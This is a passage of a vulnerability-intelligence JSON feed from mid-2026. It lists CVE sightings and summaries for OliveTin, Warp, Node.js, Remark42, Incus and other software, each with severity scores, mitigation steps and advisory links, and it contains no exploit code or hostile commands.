prior to 3000.13.0)\n- **OliveTin**: < 3000.13.0 (Fixed in: `3000.13.0`)\n\n## Mitigation\n\n- Upgrade OliveTin to version 3000.13.0 or later\n- Deploy a reverse proxy (Nginx/Caddy) to block access to the ValidateArgumentType RPC endpoints\n- Use high-entropy, randomized action titles to prevent brute-forcing of binding IDs\n\n**Remediation Steps:**\n1. Step 1: Identify all running OliveTin containers or binary instances in the environment.\n2. Step 2: Update the deployment configurations (Docker Compose, systemd) to reference version 3000.13.0 or higher.\n3. Step 3: If upgrade is delayed, add a location block in the reverse proxy configuration to return 403 for /api/ValidateArgumentType.\n4. Step 4: Audit existing action titles and rewrite highly predictable names using high-entropy suffixes.\n\n## References\n\n- [GHSA-f637-w7p2-m7fx: OliveTin Missing Authorization in ValidateArgumentType](https://github.com/OliveTin/OliveTin/security/advisories/GHSA-f637-w7p2-m7fx)\n- [NVD - CVE-2026-48709 Detail](https://nvd.nist.gov/vuln/detail/CVE-2026-48709)\n- [OliveTin GitHub Project Page](https://github.com/OliveTin/OliveTin)\n\n\n---\n*Generated by [CVEReports](https://cvereports.com/reports/CVE-2026-48709) - Automated Vulnerability Intelligence*", "creation_timestamp": "2026-06-24T19:04:03.100639Z"}, {"uuid": "7063a9f8-32ad-4029-8c0d-714494ed320b", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-48708", "type": "seen", "source": "https://gist.github.com/alon710/cb59405487e5944ed006860e5bc630ab", "content": "# CVE-2026-48708: CVE-2026-48708: Concurrent Template Parsing Race Condition in OliveTin leading to Cross-Request Command Contamination\n\n> **CVSS Score:** 7.5\n> **Published:** 2026-06-24\n> **Full Report:** https://cvereports.com/reports/CVE-2026-48708\n\n## Summary\nCVE-2026-48708 details a critical concurrency synchronization flaw in OliveTin versions < 3000.13.0. A shared package-level text/template.Template instance is accessed concurrently across multiple goroutines without proper synchronization. When concurrent request processing occurs, a race condition causes Go runtime panics or command contamination across separate sessions, enabling denial of service or execution of contaminated commands.\n\n## TL;DR\nA concurrent template parsing race condition in OliveTin allows authenticated users to crash the daemon or cause cross-request command contamination, potentially executing unauthorized commands.\n\n## Technical Details\n\n- **CWE ID**: CWE-362\n- **Attack Vector**: Network (AV:N)\n- **CVSS v3.1 Score**: 7.5 (High)\n- **EPSS Score**: 0.00349 (0.349%)\n- **Exploit Status**: None / Theoretical\n- **CISA KEV Status**: Not Listed\n- **Primary Impact**: Denial of Service / Command Contamination\n\n## Affected Systems\n\n- OliveTin versions prior to 3000.13.0\n- **OliveTin**: < 3000.13.0 (Fixed in: `3000.13.0`)\n\n## Mitigation\n\n- Upgrade OliveTin to version 3000.13.0 or later.\n- Implement strict rate-limiting on reverse proxies to limit concurrent execution requests to 1.\n- Restrict access to the OliveTin control panel using strong multi-factor authentication and trusted IP networks.\n\n**Remediation Steps:**\n1. Identify current OliveTin deployments running versions prior to 3000.13.0.\n2. Pull the updated Docker image or download the latest binary from the official release page: https://github.com/OliveTin/OliveTin/releases/tag/3000.13.0\n3. Deploy the update and restart the daemon to apply the template isolation patches.\n4. Validate the update by checking logs for the absence of Go concurrent map write panic traces.\n\n## References\n\n- [GitHub Security Advisory GHSA-7fq5-7wr8-rjwj](https://github.com/OliveTin/OliveTin/security/advisories/GHSA-7fq5-7wr8-rjwj)\n- [OliveTin Remediation Commit](https://github.com/OliveTin/OliveTin/commit/d74da9314005954dd49fa20dabf272247bc76519)\n- [OliveTin Release 3000.13.0](https://github.com/OliveTin/OliveTin/releases/tag/3000.13.0)\n- [CVE.org Official Record](https://www.cve.org/CVERecord?id=CVE-2026-48708)\n\n\n---\n*Generated by [CVEReports](https://cvereports.com/reports/CVE-2026-48708) - Automated Vulnerability Intelligence*", "creation_timestamp": "2026-06-24T19:54:03.179003Z"}, {"uuid": "10b19d20-1371-425a-a757-d2f1d7093535", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-48708", "type": "seen", "source": "https://gist.github.com/alon710/3e7dd842c80dfd534275b1d215c3d4b9", "content": "# CVE-2026-48708: CVE-2026-48708: Concurrent Template Parsing Race Condition in OliveTin leading to Cross-Request Command Contamination\n\n> **CVSS Score:** 7.5\n> **Published:** 2026-06-24\n> **Full Report:** https://cvereports.com/reports/CVE-2026-48708\n\n## Summary\nCVE-2026-48708 details a critical concurrency synchronization flaw in OliveTin versions < 3000.13.0. A shared package-level text/template.Template instance is accessed concurrently across multiple goroutines without proper synchronization. When concurrent request processing occurs, a race condition causes Go runtime panics or command contamination across separate sessions, enabling denial of service or execution of contaminated commands.\n\n## TL;DR\nA concurrent template parsing race condition in OliveTin allows authenticated users to crash the daemon or cause cross-request command contamination, potentially executing unauthorized commands.\n\n## Technical Details\n\n- **CWE ID**: CWE-362\n- **Attack Vector**: Network (AV:N)\n- **CVSS v3.1 Score**: 7.5 (High)\n- **EPSS Score**: 0.00349 (0.349%)\n- **Exploit Status**: None / Theoretical\n- **CISA KEV Status**: Not Listed\n- **Primary Impact**: Denial of Service / Command Contamination\n\n## Affected Systems\n\n- OliveTin versions prior to 3000.13.0\n- **OliveTin**: < 3000.13.0 (Fixed in: `3000.13.0`)\n\n## Mitigation\n\n- Upgrade OliveTin to version 3000.13.0 or later.\n- Implement strict rate-limiting on reverse proxies to limit concurrent execution requests to 1.\n- Restrict access to the OliveTin control panel using strong multi-factor authentication and trusted IP networks.\n\n**Remediation Steps:**\n1. Identify current OliveTin deployments running versions prior to 3000.13.0.\n2. Pull the updated Docker image or download the latest binary from the official release page: https://github.com/OliveTin/OliveTin/releases/tag/3000.13.0\n3. Deploy the update and restart the daemon to apply the template isolation patches.\n4. Validate the update by checking logs for the absence of Go concurrent map write panic traces.\n\n## References\n\n- [GitHub Security Advisory GHSA-7fq5-7wr8-rjwj](https://github.com/OliveTin/OliveTin/security/advisories/GHSA-7fq5-7wr8-rjwj)\n- [OliveTin Remediation Commit](https://github.com/OliveTin/OliveTin/commit/d74da9314005954dd49fa20dabf272247bc76519)\n- [OliveTin Release 3000.13.0](https://github.com/OliveTin/OliveTin/releases/tag/3000.13.0)\n- [CVE.org Official Record](https://www.cve.org/CVERecord?id=CVE-2026-48708)\n\n\n---\n*Generated by [CVEReports](https://cvereports.com/reports/CVE-2026-48708) - Automated Vulnerability Intelligence*", "creation_timestamp": "2026-06-24T20:02:14.810358Z"}, {"uuid": "33b447c3-c98b-43ed-a158-b04f4edfae26", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-48719", "type": "seen", "source": "https://bsky.app/profile/cve.skyfleet.blue/post/3mp2uesniqb2l", "content": "CVE-2026-48719 - Warp branch selector command injection via Git branch names\nCVE ID : CVE-2026-48719\n \n Published : June 24, 2026, 5:33 p.m. | 3\u00a0hours, 37\u00a0minutes ago\n \n Description : Warp is an agentic development environment. From 0.2025.08.06.08.12.stable_00 until 0.2026.05...", "creation_timestamp": "2026-06-24T21:30:27.940388Z"}, {"uuid": "363bdd98-5505-43ea-a818-d26657703856", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-48732", "type": "seen", "source": "https://bsky.app/profile/cve.skyfleet.blue/post/3mp2uixa5bt2f", "content": "CVE-2026-48732 - Warp: Remote SSH cwd can lead to unauthorized remote command execution\nCVE ID : CVE-2026-48732\n \n Published : June 24, 2026, 5:29 p.m. | 3\u00a0hours, 41\u00a0minutes ago\n \n Description : Warp is an agentic development environment. From 0.2023.03.21.08.02.stable_00 unti...", "creation_timestamp": "2026-06-24T21:32:46.822340Z"}, {"uuid": "03517b6f-af6c-4c25-b366-2d69288137a5", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-48721", "type": "seen", "source": "https://bsky.app/profile/cve.skyfleet.blue/post/3mp2usdhnr627", "content": "CVE-2026-48721 - Warp: Env-var prefixes can lead to denylisted command autoexecution\nCVE ID : CVE-2026-48721\n \n Published : June 24, 2026, 5:31 p.m. | 3\u00a0hours, 39\u00a0minutes ago\n \n Description : Warp is an agentic development environment. From 0.2025.10.08.08.12.stable_00 until 0...", "creation_timestamp": "2026-06-24T21:38:01.729448Z"}, {"uuid": "ce085e74-1bdc-4f9a-a3a0-b25079c1a366", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-48704", "type": "seen", "source": "https://bsky.app/profile/cve.skyfleet.blue/post/3mp2vejghfq2f", "content": "CVE-2026-48704 - Warp Markdown notebook links may open executable local files\nCVE ID : CVE-2026-48704\n \n Published : June 24, 2026, 5:35 p.m. | 3\u00a0hours, 35\u00a0minutes ago\n \n Description : Warp is an agentic development environment. From 0.2023.10.24.08.03.stable_00 until 0.2026.0...", "creation_timestamp": "2026-06-24T21:48:12.107957Z"}, {"uuid": "bc51485e-64cb-4be8-9061-8d83004116aa", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-48725", "type": "seen", "source": "https://bsky.app/profile/cve.skyfleet.blue/post/3mp2wh36hpd2o", "content": "CVE-2026-48725 - Warp may allow terminal output to access the local clipboard through OSC 52\nCVE ID : CVE-2026-48725\n \n Published : June 24, 2026, 5:22 p.m. | 3\u00a0hours, 48\u00a0minutes ago\n \n Description : Warp is an agentic development environment. From 0.2021.04.25.23.05.stable_00...", "creation_timestamp": "2026-06-24T22:07:31.428586Z"}, {"uuid": "6ee8079f-ef28-4baf-ab8a-b14231ceb934", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-48720", "type": "seen", "source": "https://bsky.app/profile/cve.skyfleet.blue/post/3mp2wyyhzc72i", "content": "CVE-2026-48720 - Warp: SSH remote output can lead to local file overwrite and persistence\nCVE ID : CVE-2026-48720\n \n Published : June 24, 2026, 5:32 p.m. | 3\u00a0hours, 38\u00a0minutes ago\n \n Description : Warp is an agentic development environment. From 0.2025.03.05.08.02.stable_00 un...", "creation_timestamp": "2026-06-24T22:17:32.721800Z"}, {"uuid": "1e3c94c5-c6c8-41ea-be50-715c31a3ce9d", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "86ecb4e1-bb32-44d5-9f39-8a4673af8385", "vulnerability": "CVE-2026-48907", "type": "seen", "source": "https://ccb.belgium.be/advisories/warning-critical-vulnerability-joomla-content-editor-extension-jce-patch-immediately", "content": "", "creation_timestamp": "2026-06-25T13:45:05.932377Z"}, {"uuid": "0a54b9bf-9c64-43e3-bae4-8c9a80b4f483", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-48995", "type": "seen", "source": "https://bsky.app/profile/cve.skyfleet.blue/post/3mp4zb2p3uk2s", "content": "CVE-2026-48995 - pnpm: Tarball hash of GitHub git dependencies is not stored in lockfile\nCVE ID : CVE-2026-48995\n \n Published : June 25, 2026, 4:58 p.m. | 46\u00a0minutes ago\n \n Description : pnpm is a package manager. Prior to 10.33.4 and 11.0.7, a malicious codeload.github.com se...", "creation_timestamp": "2026-06-25T18:03:11.257790Z"}, {"uuid": "3ffc66d9-5865-4a14-96a0-f9508371bc0f", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-48907", "type": "seen", "source": "https://bsky.app/profile/hookprobe.com/post/3mp545ijkce2p", "content": "\ud83c\udfac How HookProbe Detects CVE-2026-48907: Securing Widget Factory Joomla Content Editor \u2014 AI-native edge security on a $50 Raspberry Pi. #infosec #EdgeSecurity #RaspberryPi", "creation_timestamp": "2026-06-25T18:54:51.892390Z"}, {"uuid": "62914447-c3dd-45c7-ac7b-a90bbeb04a1c", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "86ecb4e1-bb32-44d5-9f39-8a4673af8385", "vulnerability": "CVE-2026-48529", "type": "published-proof-of-concept", "source": "https://github.com/github/github-mcp-server/security/advisories/GHSA-pjp5-fpmr-3349", "content": "", "creation_timestamp": "2026-06-25T22:35:05.042006Z"}, {"uuid": "a5c2684e-54e8-477d-84fc-e74b047b8be2", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-48615", "type": "seen", "source": "https://bsky.app/profile/cve.skyfleet.blue/post/3mp5uw4vm7c2z", "content": "CVE-2026-48615 - Node.js Proxy Credentials Exposure via Tunnel Error\nCVE ID : CVE-2026-48615\n \n Published : June 26, 2026, 1:14 a.m. | 30\u00a0minutes ago\n \n Description : A flaw in Node.js proxy tunnel error handling could expose proxy credentials in `ERR_PROXY_TUNNEL` error messa...", "creation_timestamp": "2026-06-26T02:18:08.323782Z"}, {"uuid": "909916a5-72ae-471e-8e0b-810a12034649", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-48928", "type": "seen", "source": "https://bsky.app/profile/cve.skyfleet.blue/post/3mp5uzimqsj2c", "content": "CVE-2026-48928 - Node.js Hostname Mismatch Trust Policy Bypass\nCVE ID : CVE-2026-48928\n \n Published : June 26, 2026, 1:14 a.m. | 30\u00a0minutes ago\n \n Description : A inconsistency in Node.js hostname matching can cause a trust-policy bypass in multi-context mTLS setups.\n\nThis vul...", "creation_timestamp": "2026-06-26T02:20:01.428321Z"}, {"uuid": "bd631dc6-15e4-4d73-8f4f-b88dc7939c94", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-48618", "type": "seen", "source": "https://bsky.app/profile/cve.skyfleet.blue/post/3mp5vf2wefo2n", "content": "CVE-2026-48618 - Node.js TLS Hostname Normalization Bypass\nCVE ID : CVE-2026-48618\n \n Published : June 26, 2026, 1:14 a.m. | 30\u00a0minutes ago\n \n Description : A flaw in Node.js TLS hostname handling can cause Node.js unicode dot separator handling can lead to tls wildcard-depth ...", "creation_timestamp": "2026-06-26T02:26:29.708770Z"}, {"uuid": "2e759e89-9722-4ff8-abae-3350145970ce", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-48933", "type": "seen", "source": "https://bsky.app/profile/cve.skyfleet.blue/post/3mp5vjkhvop2u", "content": "CVE-2026-48933 - Node.js WebCrypto Denial of Service\nCVE ID : CVE-2026-48933\n \n Published : June 26, 2026, 1:14 a.m. | 30\u00a0minutes ago\n \n Description : A flaw in Node.js WebCrypto implementation can crash the process if the input of `subtle.encrypt()` is a multiple of 2GiB.\n\nTh...", "creation_timestamp": "2026-06-26T02:29:00.087404Z"}, {"uuid": "17d04e9f-807b-4af0-a6a4-67d61876296b", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-48936", "type": "seen", "source": "https://bsky.app/profile/cve.skyfleet.blue/post/3mp5vogv5gr2z", "content": "CVE-2026-48936 - Node.js: Insufficient Permissions Check Leading to Unauthorized Socket Server Creation\nCVE ID : CVE-2026-48936\n \n Published : June 26, 2026, 1:14 a.m. | 30\u00a0minutes ago\n \n Description : A flaw in Node.js Permission API can cause a local server to be started (vi...", "creation_timestamp": "2026-06-26T02:31:44.008833Z"}, {"uuid": "ab841fab-bd6b-4fc0-aee1-8b212c00c36a", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-48930", "type": "seen", "source": "https://bsky.app/profile/cve.skyfleet.blue/post/3mp5vtsvk7v27", "content": "CVE-2026-48930 - Node.js TLS Hostname Handling Vulnerability\nCVE ID : CVE-2026-48930\n \n Published : June 26, 2026, 1:14 a.m. | 30\u00a0minutes ago\n \n Description : A flaw in Node.js TLS hostname handling can cause Embedded-nul hostnames can lead to silent authority rebinding due to...", "creation_timestamp": "2026-06-26T02:34:44.700255Z"}, {"uuid": "33fe3328-5092-4a85-a9fd-d7a4d740927c", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-48619", "type": "seen", "source": "https://bsky.app/profile/cve.skyfleet.blue/post/3mp5wajk2nj2b", "content": "CVE-2026-48619 - Node.js HTTP/2 Out of Memory Vulnerability\nCVE ID : CVE-2026-48619\n \n Published : June 26, 2026, 1:14 a.m. | 30\u00a0minutes ago\n \n Description : A flaw in Node.js HTTP/2 client allows a server to send an unlimited number of ORIGIN frames, which could lead to an Ou...", "creation_timestamp": "2026-06-26T02:41:51.056388Z"}, {"uuid": "d02f7958-d34e-49e7-84cb-f81539b82532", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-48935", "type": "seen", "source": "https://bsky.app/profile/cve.skyfleet.blue/post/3mp5wi743io2c", "content": "CVE-2026-48935 - Node.js Permission API File Metadata Modification Vulnerability\nCVE ID : CVE-2026-48935\n \n Published : June 26, 2026, 1:14 a.m. | 30\u00a0minutes ago\n \n Description : A flaw in Node.js Permission API can cause a file metadata to be modified even on a path that was ...", "creation_timestamp": "2026-06-26T02:46:08.325978Z"}, {"uuid": "b46f759e-c672-4463-83f6-5f23e6fd706b", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "cve-2026-48618", "type": "seen", "source": "https://infosec.exchange/users/offseq/statuses/116814172949655181", "content": "CVE-2026-48618: Node.js HIGH severity vuln in TLS hostname handling (Unicode dot normalization flaw). Affects 22.22.3, 24.16.0, 26.3.0. No patch yet \u2014 restrict use & monitor vendor advisory. https://radar.offseq.com/threat/cve-2026-48618-cwe-176-improper-handling-of-unicod-6526a729870e7650 #OffSeq #NodeJS #Vulnerability #TLS #Security", "creation_timestamp": "2026-06-26T03:00:25.919977Z"}, {"uuid": "b04668c5-495a-4827-94bf-809868d492ce", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "cve-2026-48618", "type": "seen", "source": "https://bsky.app/profile/offseq.bsky.social/post/3mp5xbrtm6n2m", "content": "HIGH severity vuln in Node.js (CVE-2026-48618) impacts TLS hostname checks in 22.22.3, 24.16.0, 26.3.0. No patch \u2014 monitor advisories & limit use in sensitive cases. https://radar.offseq.com/threat/cve-2026-48618-cwe-176-improper-handling-of-unicod-6526a729870e7650 #OffSeq #NodeJS #Security", "creation_timestamp": "2026-06-26T03:00:27.345490Z"}, {"uuid": "2b98f057-3cea-4f4a-9947-7e83df4192cb", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-48934", "type": "seen", "source": "https://bsky.app/profile/cve.skyfleet.blue/post/3mp5xlz53r627", "content": "CVE-2026-48934 - Node.js TLS Host Verification Bypass\nCVE ID : CVE-2026-48934\n \n Published : June 26, 2026, 1:14 a.m. | 30\u00a0minutes ago\n \n Description : A flaw in Node.js TLS host verification can cause an attacker to bypass certification validation.\n\nThis vulnerability affects...", "creation_timestamp": "2026-06-26T03:06:10.361160Z"}, {"uuid": "d27b5ca8-b7e3-4552-af25-bb7987a26943", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "cve-2026-48933", "type": "seen", "source": "https://bsky.app/profile/offseq.bsky.social/post/3mp64cqknvp2o", "content": "Node.js WebCrypto (v22.22.3, 24.16.0, 26.3.0) faces a HIGH severity bug \u2014 CVE-2026-48933. Integer overflow in subtle.encrypt() can crash Node.js with 2 GiB+ input. Avoid large inputs & watch for patches. \ud83d\udeab https://radar.offseq.com/threat/cve-2026-48933-cwe-190-integer-overflow-in-nodejs--5c33db78...", "creation_timestamp": "2026-06-26T04:30:28.498694Z"}, {"uuid": "91ac0e7a-e79d-4bd2-a8ff-0aa4f896c93f", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "cve-2026-48933", "type": "seen", "source": "https://infosec.exchange/users/offseq/statuses/116814526921125903", "content": "Node.js WebCrypto in v22.22.3, v24.16.0, v26.3.0 is affected by CVE-2026-48933 (HIGH). Integer overflow in subtle.encrypt() can crash processes with inputs \u2265 2 GiB, causing DoS. Avoid large inputs while awaiting a fix. \ud83d\udd10 https://radar.offseq.com/threat/cve-2026-48933-cwe-190-integer-overflow-in-nodejs--5c33db78fed81dbe #OffSeq #Nodejs #Vuln", "creation_timestamp": "2026-06-26T04:30:31.789409Z"}, {"uuid": "235d9c86-8905-424d-9833-15946cc6be11", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-48618", "type": "seen", "source": "https://bsky.app/profile/hermes71.bsky.social/post/3mp664kt66l2k", "content": "Daily IT Security Digest \u2014 2026-06-26\ncompromise). PEAR ransomware claimed 9.3 TB theft from Optimum First Mortgage including SSNs and financial records. [Source: Multiple @infosec.exchange posts]\n\n## 8. Notable Vulnerabilities & Policy Updates\n\n- **CVE-2026-48618** (HIGH): Node.js TLS hostname", "creation_timestamp": "2026-06-26T05:02:47.825341Z"}, {"uuid": "e355404a-2b62-4c89-9465-0d6c1e4b224e", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "86ecb4e1-bb32-44d5-9f39-8a4673af8385", "vulnerability": "CVE-2026-48908", "type": "seen", "source": "https://www.acn.gov.it/portale/w/joomla-sp-page-builder-sfruttamento-attivo-in-rete-della-cve-2026-48908", "content": "", "creation_timestamp": "2026-06-26T09:15:02.491617Z"}, {"uuid": "74336064-0ad3-4e93-95ac-16eb137fee70", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-48529", "type": "seen", "source": "https://bsky.app/profile/cve.skyfleet.blue/post/3mp7l26lvbx2l", "content": "CVE-2026-48529 - GitHub MCP Server: Lockdown mode singleton in HTTP server causes cross-user GraphQL client confusion\nCVE ID : CVE-2026-48529\n \n Published : June 26, 2026, 4:33 p.m. | 1\u00a0hour, 11\u00a0minutes ago\n \n Description : GitHub MCP Server is GitHub's official MCP Server. Fr...", "creation_timestamp": "2026-06-26T18:26:46.636903Z"}, {"uuid": "76379a7c-b178-444f-916c-88c99e1efd93", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-48788", "type": "seen", "source": "https://gist.github.com/alon710/89044faa74c1d9de479703a9098fa939", "content": "# CVE-2026-48788: CVE-2026-48788: Cross-Site Scripting and Content-Type Spoofing in Remark42 Image Proxy\n\n> **CVSS Score:** 8.2\n> **Published:** 2026-06-26\n> **Full Report:** https://cvereports.com/reports/CVE-2026-48788\n\n## Summary\nA critical-severity Cross-Site Scripting (XSS) and Content-Type spoofing vulnerability in Remark42 (versions 1.6.0 through 1.15.0) allows remote attackers to execute arbitrary client-side script code via a crafted image proxy request.\n\n## TL;DR\nRemark42 is vulnerable to an interpretation conflict where a malicious remote server spoofing a png content-type header can bypass download filters, forcing Remark42's image proxy to serve executable HTML payloads.\n\n## Exploit Status: POC\n\n## Technical Details\n\n- **CWE ID**: CWE-436, CWE-79\n- **Attack Vector**: Network (AV:N)\n- **CVSS Score**: 8.2 (High)\n- **EPSS Score**: 0.00251\n- **Exploit Status**: PoC\n- **CISA KEV Status**: Not Listed\n\n## Affected Systems\n\n- Remark42 Comment Engine\n- **remark42**: >= 1.6.0, < 1.16.0 (Fixed in: `1.16.0`)\n\n## Mitigation\n\n- Upgrade to version 1.16.0 or higher\n- Enforce X-Content-Type-Options: nosniff header on reverse proxies\n- Disable the image proxy feature if not strictly required\n\n**Remediation Steps:**\n1. Update the Remark42 container image to tag v1.16.0 or higher\n2. Clear any front-end CDN caches associated with /api/v1/img\n3. Verify the presence of X-Content-Type-Options headers in proxy responses\n\n## References\n\n- [NVD CVE-2026-48788 Detail](https://nvd.nist.gov/vuln/detail/CVE-2026-48788)\n- [GHSA-4c8j-mgm4-qqvp Advisory](https://github.com/umputun/remark42/security/advisories/GHSA-4c8j-mgm4-qqvp)\n\n\n---\n*Generated by [CVEReports](https://cvereports.com/reports/CVE-2026-48788) - Automated Vulnerability Intelligence*", "creation_timestamp": "2026-06-26T19:42:06.282996Z"}, {"uuid": "50db8d0a-59be-441e-a567-56854c0437b5", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-48582", "type": "seen", "source": "https://bsky.app/profile/cyberhub.blog/post/3mp7qnlpxhv2k", "content": "\ud83d\udccc CVE-2026-48582 - Missing authorization in Microsoft Exchange Online allows an authorized attacker to elevate privileges over a network. https://www.cyberhub.blog/cves/CVE-2026-48582", "creation_timestamp": "2026-06-26T20:07:13.756066Z"}, {"uuid": "e0032036-4f3b-4bda-8ae2-e0cc2dc19c40", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "86ecb4e1-bb32-44d5-9f39-8a4673af8385", "vulnerability": "CVE-2026-48788", "type": "published-proof-of-concept", "source": "https://github.com/umputun/remark42/security/advisories/GHSA-4c8j-mgm4-qqvp", "content": "", "creation_timestamp": "2026-06-26T20:35:05.391662Z"}, {"uuid": "34a4c33e-5162-4e8e-8893-b695b604eb84", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "86ecb4e1-bb32-44d5-9f39-8a4673af8385", "vulnerability": "CVE-2026-48769", "type": "published-proof-of-concept", "source": "https://github.com/lxc/incus/security/advisories/GHSA-f6m5-xw2g-xc4x", "content": "", "creation_timestamp": "2026-06-26T20:35:07.965046Z"}, {"uuid": "35768e75-ff09-4c34-8e6d-e5454c00c189", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "86ecb4e1-bb32-44d5-9f39-8a4673af8385", "vulnerability": "CVE-2026-48756", "type": "published-proof-of-concept", "source": "https://github.com/lxc/incus/security/advisories/GHSA-xhqx-mgh3-3h7q", "content": "", "creation_timestamp": "2026-06-26T20:35:10.399882Z"}, {"uuid": "0ef73466-4cb5-4219-a249-31e7566de1a2", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "86ecb4e1-bb32-44d5-9f39-8a4673af8385", "vulnerability": "CVE-2026-48755", "type": "published-proof-of-concept", "source": "https://github.com/lxc/incus/security/advisories/GHSA-v6mj-8pf4-hhw4", "content": "", "creation_timestamp": "2026-06-26T20:35:12.796820Z"}, {"uuid": "b20de306-179f-45d1-9391-4f58c3b65b98", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "86ecb4e1-bb32-44d5-9f39-8a4673af8385", "vulnerability": "CVE-2026-48754", "type": "published-proof-of-concept", "source": "https://github.com/lxc/incus/security/advisories/GHSA-4xg6-52mh-fpw8", "content": "", "creation_timestamp": "2026-06-26T20:35:15.245693Z"}, {"uuid": "a9caf275-e7e0-425f-9236-f165d1f79021", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "86ecb4e1-bb32-44d5-9f39-8a4673af8385", "vulnerability": "CVE-2026-48753", "type": "published-proof-of-concept", "source": "https://github.com/lxc/incus/security/advisories/GHSA-ccjc-4qc3-jxqc", "content": "", "creation_timestamp": "2026-06-26T20:35:17.852086Z"}, {"uuid": "f529177d-129a-4eda-89e6-5b8b7fbb015a", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "86ecb4e1-bb32-44d5-9f39-8a4673af8385", "vulnerability": "CVE-2026-48752", "type": "published-proof-of-concept", "source": "https://github.com/lxc/incus/security/advisories/GHSA-vxp5-584q-c479", "content": "", "creation_timestamp": "2026-06-26T20:35:20.287647Z"}, {"uuid": "6310132d-d4bc-4520-8a6b-5f4bdc1de306", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "86ecb4e1-bb32-44d5-9f39-8a4673af8385", "vulnerability": "CVE-2026-48751", "type": "published-proof-of-concept", "source": "https://github.com/lxc/incus/security/advisories/GHSA-48q5-w887-33wv", "content": "", "creation_timestamp": 